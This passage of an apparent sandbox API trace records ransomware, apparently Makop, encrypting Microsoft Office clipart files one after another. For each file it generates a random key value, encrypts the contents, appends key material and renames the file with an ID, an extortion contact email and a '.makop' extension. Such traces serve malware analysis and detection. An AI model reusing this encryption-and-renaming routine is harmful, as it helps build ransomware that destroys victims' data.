| out: lpNewFilePointer=0x0) returned 1 [0127.710] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3040, lpOverlapped=0x0) returned 1 [0127.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3040, dwBufLen=0x3040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3040) returned 1 [0127.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3040, lpOverlapped=0x0) returned 1 [0127.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.713] SetEndOfFile (hFile=0xf0) returned 1 [0127.720] GetProcessHeap () returned 0x48a0000 [0127.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.721] GetProcessHeap () returned 0x48a0000 [0127.721] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.721] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.722] CloseHandle (hObject=0xf0) returned 1 [0127.722] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0127.722] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0127.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.723] GetProcessHeap () returned 0x48a0000 [0127.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.724] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.724] GetProcessHeap () returned 0x48a0000 [0127.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.724] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.730] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.731] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2480, lpOverlapped=0x0) returned 1 [0127.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2480, dwBufLen=0x2480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2480) returned 1 [0127.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2480, lpOverlapped=0x0) returned 1 [0127.733] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.733] SetEndOfFile (hFile=0xf0) returned 1 [0127.740] GetProcessHeap () returned 0x48a0000 [0127.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.740] GetProcessHeap () returned 0x48a0000 [0127.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.740] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.742] CloseHandle (hObject=0xf0) returned 1 [0127.742] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0127.742] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0127.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.744] GetProcessHeap () returned 0x48a0000 [0127.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.744] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0127.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.750] GetProcessHeap () returned 0x48a0000 [0127.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.752] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.752] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.752] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3fe2, lpOverlapped=0x0) returned 1 [0127.754] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ff0) returned 1 [0127.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ff0, lpOverlapped=0x0) returned 1 [0127.754] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.754] SetEndOfFile (hFile=0xf0) returned 1 [0127.762] GetProcessHeap () returned 0x48a0000 [0127.762] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.762] GetProcessHeap () returned 0x48a0000 [0127.762] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.762] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.764] CloseHandle (hObject=0xf0) returned 1 [0127.764] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0127.765] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0127.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.765] GetProcessHeap () returned 0x48a0000 [0127.765] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.765] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.771] GetProcessHeap () returned 0x48a0000 [0127.771] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.771] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.771] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.772] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.772] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.772] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14fc, lpOverlapped=0x0) returned 1 [0127.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500, dwBufLen=0x1500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500) returned 1 [0127.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1500, lpOverlapped=0x0) returned 1 [0127.775] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.775] SetEndOfFile (hFile=0xf0) returned 1 [0127.783] GetProcessHeap () returned 0x48a0000 [0127.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.783] GetProcessHeap () returned 0x48a0000 [0127.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.783] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.785] CloseHandle (hObject=0xf0) returned 1 [0127.785] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0127.785] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0127.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.786] GetProcessHeap () returned 0x48a0000 [0127.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.786] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.791] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.791] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.791] GetProcessHeap () returned 0x48a0000 [0127.791] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.791] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.791] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.793] 